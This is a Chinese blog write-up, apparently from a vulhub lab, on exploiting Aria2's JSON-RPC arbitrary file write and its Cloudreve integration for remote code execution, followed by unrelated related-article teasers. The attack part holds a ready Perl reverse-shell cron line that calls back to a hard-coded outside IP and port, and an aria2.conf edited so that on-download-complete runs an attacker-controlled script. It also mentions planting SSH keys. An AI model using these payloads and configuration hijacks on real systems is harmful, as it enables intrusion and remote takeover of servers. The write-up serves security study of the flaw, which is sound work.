Aria2Cloudreve任意文件写入到RCE

什么是Aria2

Aria2 是一个轻量级的命令行下载工具,支持多种下载协议,如 HTTP、FTP、SFTP、BitTorrent 和 Metalink。它以其强大的多源下载能力而著称,可以同时从多个服务器或对等节点下载文件,加快下载速度。Aria2 占用资源少,适合在服务器或嵌入式系统上使用,常用于需要高效、稳定下载任务的场景。由于它是命令行工具,用户通常配合像 YAAW 这样的 Web 前端界面来简化操作。

Aria2命令行常见操作

Aria2 常见的操作主要通过命令行进行,以下是一些基础操作的简单介绍:

1.下载单个文件

aria2c https://example.com/file.zip

这会从指定的 URL 下载文件到当前目录。

2.从多个源下载文件:

aria2c https://example.com/file.zip ftp://example.org/file.zip

Aria2 会同时从多个源下载文件,加快速度。

3.使用 BitTorrent 协议下载:

aria2c file.torrent

或者使用磁力链接

aria2c 'magnet:?xt=urn:btih:xxxxxxxx'

4.断点续传:

aria2c -c https://example.com/file.zip

如果下载中断,可以用 -c 参数继续下载未完成的部分。

5.批量下载:将多个下载链接写入一个文件(如 downloads.txt),然后使用:

aria2c -i downloads.txt

Aria2 会自动依次下载文件。

6.限制下载速度:

aria2c --max-download-limit=500K https://example.com/file.zip

这样可以将下载速度限制为每秒 500KB。

Aria2-Web

Aria2 的 Web 前端通常通过 RPC 接口与后台的 Aria2 交互,因此 URL 主要用于与 Aria2 的 JSON-RPC 服务通信。具体的 URL 结构取决于你使用的 Web 前端和服务器配置。以下是 Aria2 和一些常见 Web 前端相关的 URL:

  1. Aria2 的 JSON-RPC URL

Aria2 默认通过以下 URL 提供 JSON-RPC 服务:

  • http://<host>:6800/jsonrpc

其中:

  • <host> 是 Aria2 运行的服务器的 IP 地址或域名,localhost 表示本地主机。
  • 6800 是默认的 RPC 端口,用户可以在配置文件中更改。

例如:

http://localhost:6800/jsonrpc

这就是 Web 前端用来向 Aria2 发送 RPC 请求的 URL。

  1. 常见 Aria2 Web 前端

一些常用的 Aria2 Web 前端,如 YAAW ,会有自己的前端 URL,用于通过浏览器访问和控制 Aria2。以下是它们的 URL 示例:

YAAW(Yet Another Aria2 Web Frontend)

YAAW 是一个简单的 Web 前端,通常放置在Web 服务器中,并通过以下 URL 访问:

  • http://<host>:<port>/yaaw/index.html

例如:

http://localhost:8080/yaaw/index.html

3.设置 RPC URL 的位置

在 Web 前端的设置中,通常需要手动配置 Aria2 的 JSON-RPC URL,确保它能正确连接到你的 Aria2 服务器。这个 URL 通常是:

  • http://<host>:6800/jsonrpc

通过此配置,Web 前端可以通过 JSON-RPC 接口与 Aria2 后台进行通信,执行下载任务的管理操作。

总结起来,Aria2 的 Web URL 主要分为两部分:Aria2 的 JSON-RPC 接口 URL(如 http://localhost:6800/jsonrpc),以及不同 Web 前端的访问 URL(如 YAAW 或 AriaNg 的前端页面)。

Aria2任意文件写入漏洞

参考这篇文章

https://paper.seebug.org/120/#abstract

可以写入ssh公钥再带着私钥连接

也可以写/etc/cron.d来计划任务RCE

用vulhub的aria2环境

https://github.com/thedogb/yaaw-docker

用yaaw来web交互

先设置靶机的json-rpc路径

再设置下载任务,填写恶意shell的url,受害主机shell文件的存储路径(/etc/cron.d)

恶意shell

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="124.222.136.33";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

成功反弹shell

集成 Aria2--Cloudreve漏洞

Cloudreve 通过 RPC 接口 将 Aria2 的下载管理功能集成。通过这种集成,Cloudreve 能够利用 Aria2 的强大下载能力,提供更快速和多样化的文件下载体验,特别是适用于离线下载和加速下载场景。

/root/backup.sh 是一个备份脚本,我们尝试利用 Cloudreve 拿到这个文件的编辑权限

下面是对如何拿到一个文件的编辑权限的说明:

我们前往管理面板,在存储策略这里点击专家模式修改

这样进行设置,再在文件中进行导入

可以看到能够在根目录看到我们的文件

可以直接进行修改

这样就可以任意修改文件,修改/usr/aria2/aria2.conf,指定下载完成时需要运行的恶意脚本

dir=/usr/aria2/data
disable-ipv6=true
enable-rpc=true
max-download-limit=0
max-upload-limit=0
rpc-allow-origin-all=true
rpc-listen-all=true
rpc-listen-port=6801
rpc-secure=false
seed-ratio=0
seed-time=0
on-bt-download-complete=/root/backup.sh
on-download-complete=/root/backup.sh

先随便离线下载,重新加载aria2.conf

最后再上传一个离线下载任务触发/root/backup.sh

成功反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/56062.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】拆分详解 - vector

文章目录 一、vector的介绍二、vector的使用1. 构造2. 迭代器3. vector 空间增长问题4. 增删查改5. vector 迭代器失效问题5.1 底层空间改变&#xff08;扩容、缩容&#xff09;5.2 指定位置元素的删除操作5.3 Linux与VS平台差异 三、vector 模拟实现0. 整体框架1. 构造 / 析构…

图解 微信开发者工具 小程序源码 调试、断点标记方法 , 微信小程序调试器,真机调试断点调试方法,小程序网络API请求调试方法 总结

在我们使用微信开发者工具进行微信小程序开发的时候&#xff0c;在这个微信开发者工具的代码编辑框里面我们是无法像使用vscode, idea等IDE工具时那样直接对代码打断点进行调试&#xff0c; 原因是小程序实际上他就是一个web浏览器应用的包装, 在其内部使用的还是类似chrome的…

塔吊识别数据集 yolo格式 共5076张图片 已划分好训练验证 txt格式 yolo可直接使用

塔吊识别数据集 yolo格式 共5076张图片 已划分好训练验证 txt格式 yolo可直接使用。 类别&#xff1a;塔吊(Tower-crane) 一种 训练数据已划分&#xff0c;配置文件稍做路径改动即可训练。 训练集&#xff1a; 4724 &#xff08;正面3224 负面1500&#xff09; 验证集&#xf…

C#实现Punycode编码/解码

测试代码 string word "我爱你"; string idn "我爱你.中国"; string wordCode PunyCode.Encode(word); string punycode PunyCode.IDN2Punycode(idn);Console.WriteLine(word); Console.WriteLine(wordCode); Console.WriteLine(PunyCode.Decode(word…

外卖点餐系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;外卖员管理&#xff0c;餐厅管理&#xff0c;用户管理&#xff0c;菜品分类管理&#xff0c;菜品信息管理&#xff0c;外卖订单管理&#xff0c;订单配送管理 微信端账号功能包括&#xff1a;系统首页…

OKHTTP 如何处理请求超时和重连机制

&#x1f604;作者简介&#xff1a; 小曾同学.com,一个致力于测试开发的博主⛽️&#xff0c;主要职责&#xff1a;测试开发、CI/CD 如果文章知识点有错误的地方&#xff0c;还请大家指正&#xff0c;让我们一起学习&#xff0c;一起进步。 &#x1f60a; 座右铭&#xff1a;不…

Linux下Docker方式Jenkins安装和配置

一、下载&安装 Jenkins官方Docker仓库地址&#xff1a;https://hub.docker.com/r/jenkins/jenkins 从官网上可以看到&#xff0c;当前最新的稳定版本是 jenkins/jenkins:lts-jdk17。建议下在新的&#xff0c;后面依赖下不来 所以&#xff0c;我们这里&#xff0c;执行doc…

VS+QT 自定义插件变成动态库加载及使用

一、前言 有个界面需要重复使用某个自定义的控件&#xff0c;希望自定义控件能够像动态库文件那样&#xff0c;添加引用lib就能使用&#xff0c;经过多次太坑后&#xff0c;总结如下 二、实现方式 ① 新建项目&#xff0c;选择"Qt Designer Custom Widget" 创建自定…

python爬虫 - 进阶正则表达式

&#x1f308;个人主页&#xff1a;https://blog.csdn.net/2401_86688088?typeblog &#x1f525; 系列专栏&#xff1a;https://blog.csdn.net/2401_86688088/category_12797772.html 目录 前言 一、匹配中文 &#xff08;一&#xff09;匹配单个中文字符 &#xff08;二…

JavaEE-进程与线程

1.进程 1.1什么是进程 每个应⽤程序运⾏于现代操作系统之上时&#xff0c;操作系统会提供⼀种抽象&#xff0c;好像系统上只有这个程序在运 ⾏&#xff0c;所有的硬件资源都被这个程序在使⽤。这种假象是通过抽象了⼀个进程的概念来完成的&#xff0c;进程可 以说是计算机科学…

【动态规划】子数组系列(上)

1. 最大子数组和 53. 最大子数组和 状态表示&#xff1a;以 i 位置为结尾时的所有子数组中的最大和 状态转移方程&#xff1a; i 位置为结尾的子数组又可以分为长度为 1 的和大于 1 的&#xff0c;长度为 1 就是 nums[i] &#xff0c;长度不为 1 就是 dp[i - 1] nums[i]&…

Prometheus + Grafana 监控 MySQL 数据库

文章目录 1、前置介绍2、搭建流程2.1、安装 Docker2.2、安装 MySQL2.3、安装 MySQL Exporter2.4、安装 Prometheus2.5、安装 Grafana 1、前置介绍 本次监控平台搭建&#xff0c;我使用2台阿里云服务器来完成本次的搭建部署操作&#xff0c;配置如下&#xff1a; 阿里云ECS1&am…

【宝可梦】游戏

pokemmo https://pokemmo.com/zh/ 写在最后&#xff1a;若本文章对您有帮助&#xff0c;请点个赞啦 ٩(๑•̀ω•́๑)۶

AI金融攻防赛:金融场景凭证篡改检测(DataWhale组队学习)

引言 大家好&#xff0c;我是GISer Liu&#x1f601;&#xff0c;一名热爱AI技术的GIS开发者。本系列文章是我跟随DataWhale 2024年10月学习赛的AI金融攻防赛学习总结文档。本文主要讲解如何解决 金融场景凭证篡改检测的核心问题&#xff0c;以及解决思路和代码实现过程。希望…

48 Redis

48 Redis 前言 Redis&#xff08;Remote Dictionary Server )&#xff0c;即远程字典服务。是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库&#xff0c;并提供多种语言的API。 redis会周期性的把更新的数据写入磁盘或者把修改操…

网络受限情况下安装openpyxl模块提示缺少Jdcal,et_xmlfile

1.工作需要处理关于Excel文件内容的东西 2.用公司提供的openpyxl模块总是提示缺少jdcal文件,因为网络管控,又没办法直接使用命令下载&#xff0c;所以网上找了资源&#xff0c;下载好后上传到个人资源里了 资源路径 openpyxl jdcal et_xmlfile 以上模块来源于&#xff1a;Py…

微信小程序后台搭建—node+mysql

想必大家都有一个困扰&#xff0c;想要用微信小程序作为前端&#xff0c;但是后端不知道如何用node连接微信小程序&#xff0c;我最近也一直困扰许久&#xff0c;所以我就想用node写后端接口在连接微信小程序&#xff0c;记录一下学习笔记 前言 前端:微信小程序 后端:nodeexpr…

VirtualBOX虚拟机提高速度,鼠标卡顿解决——未来之窗数据恢复

一、刚安装完操作系统&#xff0c;鼠标操作不灵敏 需要安装系统增强 二、系统增强作用 1.鼠标丝滑 2.文件共享 3.可以共享剪贴板 三、安装步骤-设备-安装增强 四、安装步骤-设备-选择光驱 五、安装增强软件然后重启 六、阿雪技术观 拥抱开源与共享&#xff0c;见证科技进…

NVM 切换Node.js版本工具

大家好我是苏麟&#xff0c;今天聊聊NVM切换版本工具。 切换 node 版本工具 &#xff1a; GitHub - nvm-sh/nvm: Node Version Manager - POSIX-compliant bash script to manage multiple active node.js versions 查看node版本 node -v 查看 nvm 版本 nvm -v 查看可安装的Nod…

动态规划lc

先找到规律&#xff0c;然后找边界情况&#xff1b;部分特殊情况分类讨论 *递归 70.爬楼梯 简单 提示 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 示例 1&#xff1a; 输入&#xff1a…